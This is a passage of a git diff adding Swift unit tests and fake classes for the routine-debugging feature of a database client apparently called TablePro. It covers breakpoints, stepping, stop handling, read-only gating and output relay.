+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+        if stepWaiting {
+            controller.perform(.continueExecution)
+            try await waitUntil { session.performedCommands == [.continueExecution] }
+        }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(controller.statusText == "Server process 4242 may still be running.\nEnd it with pg_terminate_backend(4242).")
+    }
+
+    @Test("A command is refused while a step runs")
+    func performRefusedWhileRunning() async throws {
+        let session = FakeDebugSession(performBlocksUntilStop: true)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.stepOver)
+        #expect(!controller.canPerform(.stepOver))
+        controller.perform(.stepOver)
+        controller.perform(.continueExecution)
+        try await waitUntil { !session.performedCommands.isEmpty }
+
+        #expect(session.performedCommands == [.stepOver])
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A command the session does not support is never sent")
+    func unsupportedCommandIsRefused() async throws {
+        let session = FakeDebugSession(supportedCommands: [.continueExecution, .stepOver, .stepInto])
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        #expect(!controller.canPerform(.stepOut))
+        controller.perform(.stepOut)
+
+        #expect(session.performedCommands.isEmpty)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A stop that lands before the run begins asks nothing and opens nothing")
+    func stopBeforeTheRunBegins() async throws {
+        let gate = WaitingGate()
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(drivers: drivers, gate: gate)
+        controller.start()
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(gate.askedCount == 0)
+        #expect(drivers.openedCount == 0)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A step that fails with its target left running stops the session before its drivers close, and says so once")
+    func failedStepStopsTheSession() async throws {
+        let words = "Server process 4242 may still be running."
+        let session = FakeDebugSession(
+            stopOutcome: .unconfirmed(message: words, detail: nil),
+            performAnswer: .failed(message: words, detail: nil)
+        )
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.continueExecution)
+        try await waitUntil { controller.hasEnded }
+
+        #expect(session.stopCount == 1)
+        #expect(controller.unconfirmedStop == words)
+        #expect(controller.statusText == words)
+    }
+
+    @Test("Stop while the gate is still asking withdraws its prompt and ends the run Stopped, opening nothing")
+    func stopWhileTheGateAsks() async throws {
+        let gate = WaitingGate()
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(drivers: drivers, gate: gate)
+        var cancelled = false
+        controller.onCancelled = { cancelled = true }
+        controller.start()
+        try await waitUntil { gate.askedCount == 1 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(gate.sawCancellation)
+        #expect(!cancelled)
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.openedCount == 0)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A gate that cannot be withdrawn is not waited on past the limit, and its late yes starts nothing")
+    func gateIgnoringCancellationIsCapped() async throws {
+        let answer = AsyncGate()
+        let gate = WaitingGate(ignoringCancellationUntil: answer)
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            gate: gate,
+            cancelLimit: .milliseconds(50)
+        )
+        controller.start()
+        try await waitUntil { gate.askedCount == 1 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+        await answer.open()
+
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.openedCount == 0)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A plan that may write is denied by a read-only gate, and no session opens")
+    func readOnlyGateDeniesWritingPlan() async throws {
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(mayWrite: true),
+            gate: AlwaysDenyGate(reason: "Read-Only connection")
+        )
+
+        controller.start()
+        await controller.waitUntilEnded()
+
+        guard case .failed(let message) = controller.state else {
+            Issue.record("expected failed, got \(controller.state)")
+            return
+        }
+        #expect(message == "Read-Only connection")
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.openedCount == 0)
+    }
+
+    @Test("The run asks the gate as a write when the plan may write, and as a read otherwise")
+    func gateKindFollowsThePlan() async throws {
+        let writing = RecordingGate()
+        let (writer, _) = RoutineDebugFixtures.controller(plan: RoutineDebugFixtures.plan(mayWrite: true), gate: writing)
+        writer.start()
+        try await waitUntil { writer.state.pausedLocation != nil }
+        let reading = RecordingGate()
+        let (reader, _) = RoutineDebugFixtures.controller(plan: RoutineDebugFixtures.plan(mayWrite: false), gate: reading)
+        reader.start()
+        try await waitUntil { reader.state.pausedLocation != nil }
+
+        #expect(writing.requests.map { $0.kind } == [.writeQuery])
+        #expect(reading.requests.map { $0.kind } == [.readQuery])
+        #expect(writing.requests.first?.caller == .userInterface)
+        #expect(writing.requests.first?.operationDescription == String(localized: "Debug Routine"))
+        writer.stop()
+        reader.stop()
+        await writer.waitUntilEnded()
+        await reader.waitUntilEnded()
+    }
+
+    @Test("A preparation runs on a driver of its own, after the user confirms, through the gate as DDL")
+    func preparationRunsOnItsOwnDriver() async throws {
+        let drivers = DebugDriverLog()
+        let gate = RecordingGate()
+        let preparation = PluginDebugPreparation(
+            message: "Compile for debugging?",
+            informativeText: nil,
+            actionTitle: "Compile for Debug",
+            statements: ["ALTER PACKAGE p COMPILE BODY"]
+        )
+        let (controller, _) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: preparation),
+            gate: gate
+        )
+
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        #expect(gate.requests.map { $0.kind } == [.readQuery, .schemaMutation])
+        #expect(gate.requests.last?.sql == "ALTER PACKAGE p COMPILE BODY")
+        #expect(drivers.openedCount == 3)
+        #expect(drivers.closedCount == 1)
+        controller.stop()
+        await controller.waitUntilEnded()
+        #expect(drivers.closedCount == 3)
+    }
+
+    @Test("Stop while the preparation statement runs cancels it, closes its driver, and the session never starts")
+    func stopDuringPreparationStatement() async throws {
+        let drivers = DebugDriverLog(statements: .untilCancelled)
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: Self.compile)
+        )
+        controller.start()
+        try await waitUntil { drivers.executedCount == 1 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(drivers.closedCount == 1)
+        #expect(debugger.startRequests.isEmpty)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A preparation statement that ignores Stop is abandoned at the limit with its connection closed")
+    func preparationStatementAbandonedAtTheLimit() async throws {
+        let statement = AsyncGate()
+        let drivers = DebugDriverLog(statements: .untilOpened(statement))
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: Self.compile),
+            cancelLimit: .milliseconds(50)
+        )
+        controller.start()
+        try await waitUntil { drivers.executedCount == 1 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+        #expect(drivers.closedCount == 1)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+
+        await statement.open()
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.closedCount == 1)
+        #expect(drivers.openedCount == 1)
+    }
+
+    private static let compile = PluginDebugPreparation(
+        message: "Compile for debugging?",
+        informativeText: nil,
+        actionTitle: "Compile for Debug",
+        statements: ["ALTER PACKAGE p COMPILE BODY"]
+    )
+
+    @Test("Declining the preparation starts nothing and asks for the tab to close")
+    func declinedPreparationCancels() async throws {
+        let drivers = DebugDriverLog()
+        let preparation = PluginDebugPreparation(message: "m", informativeText: nil, actionTitle: "Compile", statements: ["X"])
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: preparation),
+            confirmPreparation: { _ in false }
+        )
+        var cancelled = false
+        controller.onCancelled = { cancelled = true }
+
+        controller.start()
+        await controller.waitUntilEnded()
+
+        #expect(cancelled)
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.openedCount == 0)
+    }
+
+    @Test("A breakpoint set while running waits for the next pause, then shows where the engine placed it")
+    func breakpointWhileRunningAppliesAtNextPause() async throws {
+        let step = AsyncGate()
+        let session = FakeDebugSession(firstStopLine: 2, placesBreakpoint: { $0 + 1 }, stepGate: step)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation?.line == 2 && !controller.variables.isEmpty }
+
+        controller.perform(.stepOver)
+        await step.arrived(1)
+        controller.toggleBreakpoint(atLine: 3)
+        controller.toggleBreakpoint(atLine: 1)
+        controller.toggleBreakpoint(atLine: 1)
+        #expect(controller.displayedBreakpointLines == [3])
+        #expect(session.placedBreakpointRequests.isEmpty)
+        await step.open()
+        try await waitUntil { controller.displayedBreakpointLines == [4] }
+
+        #expect(session.placedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 3)])
+        #expect(session.overlappingCallCount == 0)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A step waits for the pause's reads to finish, so no session call overlaps another")
+    func callsNeverOverlap() async throws {
+        let session = FakeDebugSession()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.stepOver)
+        try await waitUntil { controller.state.pausedLocation?.line == 3 }
+        controller.toggleBreakpoint(atLine: 2)
+        controller.perform(.stepInto)
+        try await waitUntil { controller.state.pausedLocation?.line == 4 && !controller.variables.isEmpty }
+
+        #expect(session.performedCommands == [.stepOver, .stepInto])
+        #expect(session.overlappingCallCount == 0)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A breakpoint removed while its placement is in flight comes off the server, where the engine put it")
+    func removalDuringPlacementReachesTheServer() async throws {
+        let placing = AsyncGate()
+        let session = FakeDebugSession(placesBreakpoint: { $0 + 1 }, placeGate: placing)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.toggleBreakpoint(atLine: 3)
+        try await waitUntil { session.placedBreakpointRequests.count == 1 }
+        controller.toggleBreakpoint(atLine: 3)
+        #expect(controller.displayedBreakpointLines.isEmpty)
+        await placing.open()
+        try await waitUntil { !session.removedBreakpointRequests.isEmpty }
+
+        #expect(session.removedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 4)])
+        #expect(controller.displayedBreakpointLines.isEmpty)
+        #expect(!controller.hasBreakpoints)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("Remove All while a placement is in flight also takes that breakpoint off the server")
+    func removeAllDuringPlacementReachesTheServer() async throws {
+        let placing = AsyncGate()
+        let session = FakeDebugSession(placeGate: placing)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.toggleBreakpoint(atLine: 3)
+        try await waitUntil { session.placedBreakpointRequests.count == 1 }
+        controller.removeAllBreakpoints()
+        await placing.open()
+        try await waitUntil { !session.removedBreakpointRequests.isEmpty }
+
+        #expect(session.removedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 3)])
+        #expect(!controller.hasBreakpoints)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A breakpoint changed while the pause is still loading reaches the session before Continue does")
+    func breakpointBeforeContinueWhileInspecting() async throws {
+        let reads = AsyncGate()
+        let session = FakeDebugSession(inspectGate: reads)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { session.sourceReadCount == 1 }
+
+        controller.toggleBreakpoint(atLine: 3)
+        controller.perform(.continueExecution)
+        await reads.open()
+        try await waitUntil { session.performedCommands == [.continueExecution] }
+
+        #expect(Array(session.callLog.prefix(2)) == ["set 3", "perform continueExecution"])
+        #expect(session.overlappingCallCount == 0)
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+    }
+
+    @Test("Stopping while the preparation question is up withdraws it and leaves the tab to show Stopped")
+    func stopWithdrawsThePreparationQuestion() async throws {
+        let answer = AsyncGate()
+        let preparation = PluginDebugPreparation(message: "m", informativeText: nil, actionTitle: "Compile", statements: ["X"])
+        let drivers = DebugDriverLog()
+        var asked = false
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: preparation),
+            confirmPreparation: { _ in
+                asked = true
+                await answer.wait()
+                return false
+            },
+            withdrawPreparation: { Task { await answer.open() } }
+        )
+        var cancelled = false
+        controller.onCancelled = { cancelled = true }
+        controller.start()
+        try await waitUntil { asked }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(!cancelled)
+        #expect(debugger.startRequests.isEmpty)
+        #expect(drivers.openedCount == 0)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A breakpoint the engine cannot place drops its marker")
+    func unplaceableBreakpointDropsItsMarker() async throws {
+        let session = FakeDebugSession(placesBreakpoint: { _ in nil })
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.toggleBreakpoint(atLine: 1)
+        try await waitUntil { !session.placedBreakpointRequests.isEmpty }
+        try await waitUntil { controller.displayedBreakpointLines.isEmpty }
+
+        #expect(!controller.hasBreakpoints)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("A frame of the previous stack cannot be chosen while the next pause's stack loads, and a frame shows its own source and variables")
+    func frameSelectionWaitsForTheCurrentStack() async throws {
+        let caller = PluginDebugUnit(identity: "caller", displayName: "caller()")
+        let nextStack = AsyncGate()
+        let session = FakeDebugSession(
+            frames: [
+                PluginDebugFrame(level: 0, location: nil, arguments: nil),
+                PluginDebugFrame(level: 1, location: PluginDebugLocation(unit: caller, line: 5), arguments: nil),
+            ],
+            laterStackGate: nextStack
+        )
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.stackIsCurrent && controller.displayedFrameLevel == 0 }
+
+        controller.perform(.stepOver)
+        try await waitUntil { session.stackReadCount == 2 }
+        #expect(!controller.stackIsCurrent)
+        controller.selectFrame(level: 1)
+        #expect(controller.selectedFrameLevel != 1)
+        await nextStack.open()
+        try await waitUntil { controller.stackIsCurrent && session.variableReadLevels.count == 2 }
+        try await waitUntil { controller.displayedFrameLevel == 0 }
+
+        #expect(session.variableReadLevels == [0, 0])
+        #expect(controller.displayedUnit == FakeDebugSession.unit)
+
+        controller.selectFrame(level: 1)
+        try await waitUntil { controller.displayedFrameLevel == 1 }
+        #expect(controller.displayedUnit == caller)
+        #expect(session.variableReadLevels.last == 1)
+        #expect(controller.executionLine == 5)
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+    }
+
+    @Test("Stop during a slow read reaches the session at once, and its drivers close no earlier than the deadline")
+    func stopDuringReadIsNotQueued() async throws {
+        let reads = AsyncGate()
+        let blocker = AsyncGate()
+        let session = FakeDebugSession(stopBlocker: blocker, inspectGate: reads)
+        let drivers = DebugDriverLog()
+        let limit: Duration = .seconds(1)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: limit)
+        controller.start()
+        try await waitUntil { session.sourceReadCount == 1 }
+
+        let asked = ContinuousClock.now
+        controller.stop()
+        try await waitUntil(timeout: .milliseconds(500)) { session.stopCount == 1 }
+        #expect(session.stopOverlapCount == 1)
+        #expect(drivers.closedCount == 0)
+        try await waitUntil { controller.hasEnded }
+
+        #expect(drivers.closedCount == 2)
+        #expect(drivers.closeInstants.allSatisfy { $0 >= asked.advanced(by: limit) })
+        #expect(session.stackReadCount == 0)
+        #expect(controller.inspectionError == nil)
+        #expect(controller.statusText == RoutineDebugController.stopNotConfirmed)
+        await blocker.open()
+    }
+
+    @Test("Drivers close as soon as the plugin answers the stop, before the deadline")
+    func driversCloseWhenStopReturns() async throws {
+        let reads = AsyncGate()
+        let session = FakeDebugSession(inspectGate: reads)
+        let drivers = DebugDriverLog()
+        let limit: Duration = .seconds(5)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: limit)
+        controller.start()
+        try await waitUntil { session.sourceReadCount == 1 }
+
+        let asked = ContinuousClock.now
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.closedCount == 2)
+        #expect(drivers.closeInstants.allSatisfy { $0 < asked.advanced(by: limit) })
+        #expect(controller.statusText == String(localized: "Stopped"))
+    }
+
+    @Test("A new pause never shows the last pause's variables, even when its own fail to load")
+    func newPauseClearsVariables() async throws {
+        let session = FakeDebugSession(failsLaterVariables: true)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.perform(.stepInto)
+        try await waitUntil { controller.state.pausedLocation?.line == 3 && controller.inspectionError != nil }
+
+        #expect(controller.variables.isEmpty)
+        #expect(controller.displayedFrameLevel == nil)
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+    }
+
+    @Test("Toggle Breakpoint and Remove All are offered only when they can act")
+    func breakpointCommandsValidate() async throws {
+        let (controller, _) = RoutineDebugFixtures.controller()
+        #expect(!controller.canToggleBreakpoint)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        #expect(!controller.canToggleBreakpoint)
+        controller.cursorLine = 3
+        #expect(controller.canToggleBreakpoint)
+        #expect(!controller.canRemoveAllBreakpoints)
+        controller.toggleBreakpointAtCursor()
+        #expect(controller.canRemoveAllBreakpoints)
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+        #expect(!controller.canToggleBreakpoint)
+        #expect(!controller.canRemoveAllBreakpoints)
+    }
+
+    @Test("Toggle Breakpoint acts on the cursor's line")
+    func toggleAtCursor() async throws {
+        let (controller, _) = RoutineDebugFixtures.controller()
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.cursorLine = 4
+        controller.toggleBreakpointAtCursor()
+        try await waitUntil { controller.displayedBreakpointLines == [4] }
+        controller.removeAllBreakpoints()
+
+        #expect(!controller.hasBreakpoints)
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+
+    @Test("Output relayed as the routine finishes still reaches the tab")
+    func outputRelayedAtFinishIsKept() async throws {
+        let relay = AsyncGate()
+        let session = FakeDebugSession(relayedOutput: (gate: relay, lines: ["NOTICE: total is 1", "done"]))
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        controller.perform(.continueExecution)
+        try await waitUntil { session.performedCommands == [.continueExecution] }
+        await relay.open()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(controller.outputLines == ["NOTICE: total is 1", "done"])
+        guard case .finished = controller.state else {
+            Issue.record("expected finished, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A target whose stop never returns loses its connections at the limit")
+    func stuckTargetStopIsCapped() async throws {
+        let blocker = AsyncGate()
+        let session = FakeDebugSession(stopBlocker: blocker)
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(
+            session: session,
+            drivers: drivers,
+            cancelLimit: .milliseconds(50)
+        )
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.closedCount == 2)
+        #expect(controller.statusText == RoutineDebugController.stopNotConfirmed)
+        await blocker.open()
+    }
+
+    @Test("Output lines from the session reach the tab")
+    func outputLinesArrive() async throws {
+        let session = FakeDebugSession()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        session.emit("NOTICE: total is 0")
+        try await waitUntil { controller.outputLines == ["NOTICE: total is 0"] }
+        controller.stop()
+        await controller.waitUntilEnded()
+    }
+}
+
+// Records what was asked and allows it, so a test can pin the request the run makes.
+private final class RecordingGate: ExecutionGate, @unchecked Sendable {
+    private let lock = NSLock()
+    private var recorded: [OperationRequest] = []
+
+    var requests: [OperationRequest] { lock.withLock { recorded } }
+
+    func authorize(_ request: OperationRequest) async -> OperationDecision {
+        lock.withLock { recorded.append(request) }
+        return await AlwaysAllowGate().authorize(request)
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift
new file mode 100644
index 0000000000..d23ddaac3e
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift
@@ -0,0 +1,452 @@
+//
+//  RoutineDebugFakes.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+
+// How a statement sent to a fake driver behaves: at once, until its task is cancelled, or until a gate opens whatever
+// happens to its task (a statement already on the server).
+internal enum FakeStatementBehavior: Sendable {
+    case immediate
+    case untilCancelled
+    case untilOpened(AsyncGate)
+}
+
+internal final class FakeDebugDriver: PluginDriverStub, @unchecked Sendable {
+    private let behavior: FakeStatementBehavior
+    private let onExecute: @Sendable () -> Void
+
+    init(behavior: FakeStatementBehavior = .immediate, onExecute: @escaping @Sendable () -> Void = {}) {
+        self.behavior = behavior
+        self.onExecute = onExecute
+    }
+
+    func execute(query: String) async throws -> PluginQueryResult {
+        onExecute()
+        switch behavior {
+        case .immediate:
+            break
+        case .untilCancelled:
+            // Stands for a statement that runs until the run gives up on it.
+            try await Task.sleep(for: .seconds(600))
+        case .untilOpened(let gate):
+            await gate.wait()
+        }
+        return .empty
+    }
+}
+
+// Counts what the host does with the drivers a session took, so a test can see every one was closed.
+internal final class DebugDriverLog: @unchecked Sendable {
+    private let lock = NSLock()
+    private let statements: FakeStatementBehavior
+    private var opened = 0
+    private var closed = 0
+    private var executed = 0
+    private var closes: [ContinuousClock.Instant] = []
+
+    init(statements: FakeStatementBehavior = .immediate) {
+        self.statements = statements
+    }
+
+    var openedCount: Int { lock.withLock { opened } }
+    var closedCount: Int { lock.withLock { closed } }
+    var executedCount: Int { lock.withLock { executed } }
+    var closeInstants: [ContinuousClock.Instant] { lock.withLock { closes } }
+
+    func source(admits: @escaping @Sendable () async -> Bool = { true }) -> RoutineDebugSessionSource {
+        RoutineDebugSessionSource(admits: admits) { [self] in
+            lock.withLock { opened += 1 }
+            let driver = FakeDebugDriver(behavior: statements) { [self] in
+                lock.withLock { executed += 1 }
+            }
+            return RoutineDebugDriverHandle(driver: driver) { [self] in
+                lock.withLock {
+                    closed += 1
+                    closes.append(.now)
+                }
+            }
+        }
+    }
+}
+
+internal final class FakeDebugSession: PluginDebugSession, @unchecked Sendable {
+    static let unit = PluginDebugUnit(identity: "16431", displayName: "order_total(integer)")
+    static let source = "BEGIN\n  total := 0;\n  total := total + 1;\n  RETURN total;\nEND"
+
+    let supportedCommands: Set<PluginDebugCommand>
+    let output: AsyncStream<String>
+    private let outputContinuation: AsyncStream<String>.Continuation
+    private let lock = NSLock()
+    private let stopGate = AsyncGate()
+    private let firstStopLine: Int
+    private let performBlocksUntilStop: Bool
+    private let placesBreakpoint: (Int) -> Int?
+    private let stopBlocker: AsyncGate?
+    private let stepGate: AsyncGate?
+    private let placeGate: AsyncGate?
+    private let stopAnswer: PluginDebugStop
+    private let stopOutcome: PluginDebugStopOutcome
+    private let inspectGate: AsyncGate?
+    private let relayedOutput: (gate: AsyncGate, lines: [String])?
+    private let frames: [PluginDebugFrame]
+    private let laterStackGate: AsyncGate?
+    private let failsLaterVariables: Bool
+    private let performAnswer: PluginDebugStop?
+    private var calls: [String] = []
+    private var removedBreakpoints: [PluginDebugBreakpoint] = []
+    private var stepInFlight = false
+    private var overlaps = 0
+    private var callsInFlight = 0
+    private var stopOverlaps = 0
+    private var stops = 0
+    private var stopped = false
+    private var performs: [PluginDebugCommand] = []
+    private var sourceReads = 0
+    private var stackReads = 0
+    private var variableReads: [Int] = []
+    private var setBreakpoints: [PluginDebugBreakpoint] = []
+    private var nextPerformLine: Int
+
+    init(
+        supportedCommands: Set<PluginDebugCommand> = [.continueExecution, .stepOver, .stepInto],
+        firstStopLine: Int = 2,
+        performBlocksUntilStop: Bool = false,
+        placesBreakpoint: @escaping (Int) -> Int? = { $0 },
+        stopBlocker: AsyncGate? = nil,
+        stepGate: AsyncGate? = nil,
+        placeGate: AsyncGate? = nil,
+        stopAnswer: PluginDebugStop = .finished(nil),
+        stopOutcome: PluginDebugStopOutcome = .ended,
+        inspectGate: AsyncGate? = nil,
+        relayedOutput: (gate: AsyncGate, lines: [String])? = nil,
+        frames: [PluginDebugFrame] = [PluginDebugFrame(level: 0, location: nil, arguments: nil)],
+        laterStackGate: AsyncGate? = nil,
+        failsLaterVariables: Bool = false,
+        performAnswer: PluginDebugStop? = nil
+    ) {
+        self.supportedCommands = supportedCommands
+        self.firstStopLine = firstStopLine
+        self.performBlocksUntilStop = performBlocksUntilStop
+        self.placesBreakpoint = placesBreakpoint
+        self.stopBlocker = stopBlocker
+        self.stepGate = stepGate
+        self.placeGate = placeGate
+        self.stopAnswer = stopAnswer
+        self.stopOutcome = stopOutcome
+        self.inspectGate = inspectGate
+        self.relayedOutput = relayedOutput
+        self.frames = frames
+        self.laterStackGate = laterStackGate
+        self.failsLaterVariables = failsLaterVariables
+        self.performAnswer = performAnswer
+        self.nextPerformLine = firstStopLine + 1
+        var continuation: AsyncStream<String>.Continuation?
+        output = AsyncStream { continuation = $0 }
+        outputContinuation = continuation!
+    }
+
+    var stopCount: Int { lock.withLock { stops } }
+    var performedCommands: [PluginDebugCommand] { lock.withLock { performs } }
+    var sourceReadCount: Int { lock.withLock { sourceReads } }
+    var stackReadCount: Int { lock.withLock { stackReads } }
+    var variableReadLevels: [Int] { lock.withLock { variableReads } }
+    var placedBreakpointRequests: [PluginDebugBreakpoint] { lock.withLock { setBreakpoints } }
+    var removedBreakpointRequests: [PluginDebugBreakpoint] { lock.withLock { removedBreakpoints } }
+    // Steps and breakpoint edits in the order they reached the session.
+    var callLog: [String] { lock.withLock { calls } }
+    // Calls other than `stop()` that arrived while a step was still waiting, which the contract forbids.
+    var overlappingCallCount: Int { lock.withLock { overlaps } }
+    // Stops that arrived while a read or a breakpoint edit was still out.
+    var stopOverlapCount: Int { lock.withLock { stopOverlaps } }
+
+    private func beginCall() {
+        lock.withLock {
+            if stepInFlight { overlaps += 1 }
+            callsInFlight += 1
+        }
+    }
+
+    private func endCall() {
+        lock.withLock { callsInFlight -= 1 }
+    }
+
+    // As the contract asks of a plugin: a read or an edit that `stop()` overlapped throws.
+    private func throwIfStopped() throws {
+        if lock.withLock({ stopped }) {
+            throw RoutineDebugError.sessionEnded
+        }
+    }
+
+    func emit(_ line: String) {
+        outputContinuation.yield(line)
+    }
+
+    func firstStop() async throws -> PluginDebugStop {
+        .paused(PluginDebugLocation(unit: Self.unit, line: firstStopLine))
+    }
+
+    func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop {
+        let line = lock.withLock { () -> Int in
+            if stepInFlight { overlaps += 1 }
+            stepInFlight = true
+            performs.append(command)
+            calls.append("perform \(command.rawValue)")
+            defer { nextPerformLine += 1 }
+            return nextPerformLine
+        }
+        defer { lock.withLock { stepInFlight = false } }
+        await stepGate?.wait()
+        if let performAnswer { return performAnswer }
+        if performBlocksUntilStop {
+            await stopGate.wait()
+            return stopAnswer
+        }
+        if let relayedOutput {
+            // The routine completes, and its output arrives a moment later from another task, as Oracle relays DBMS_OUTPUT.
+            let continuation = outputContinuation
+            Task {
+                await relayedOutput.gate.wait()
+                for line in relayedOutput.lines {
+                    continuation.yield(line)
+                }
+                continuation.finish()
+            }
+            return .finished(nil)
+        }
+        return .paused(PluginDebugLocation(unit: Self.unit, line: line))
+    }
+
+    func source(of unit: PluginDebugUnit) async throws -> String {
+        beginCall()
+        defer { endCall() }
+        lock.withLock { sourceReads += 1 }
+        await inspectGate?.wait()
+        try throwIfStopped()
+        return Self.source
+    }
+
+    // The first pause's stack comes at once; a later one waits for `laterStackGate`.
+    func stack() async throws -> [PluginDebugFrame] {
+        beginCall()
+        defer { endCall() }
+        let read = lock.withLock { () -> Int in
+            stackReads += 1
+            return stackReads
+        }
+        if read > 1 {
+            await laterStackGate?.wait()
+        }
+        try throwIfStopped()
+        return frames
+    }
+
+    func variables(inFrame level: Int) async throws -> [PluginDebugVariable] {
+        beginCall()
+        defer { endCall() }
+        let read = lock.withLock { () -> Int in
+            variableReads.append(level)
+            return variableReads.count
+        }
+        if failsLaterVariables, read > 1 {
+            throw RoutineDebugError.unsupported
+        }
+        return [
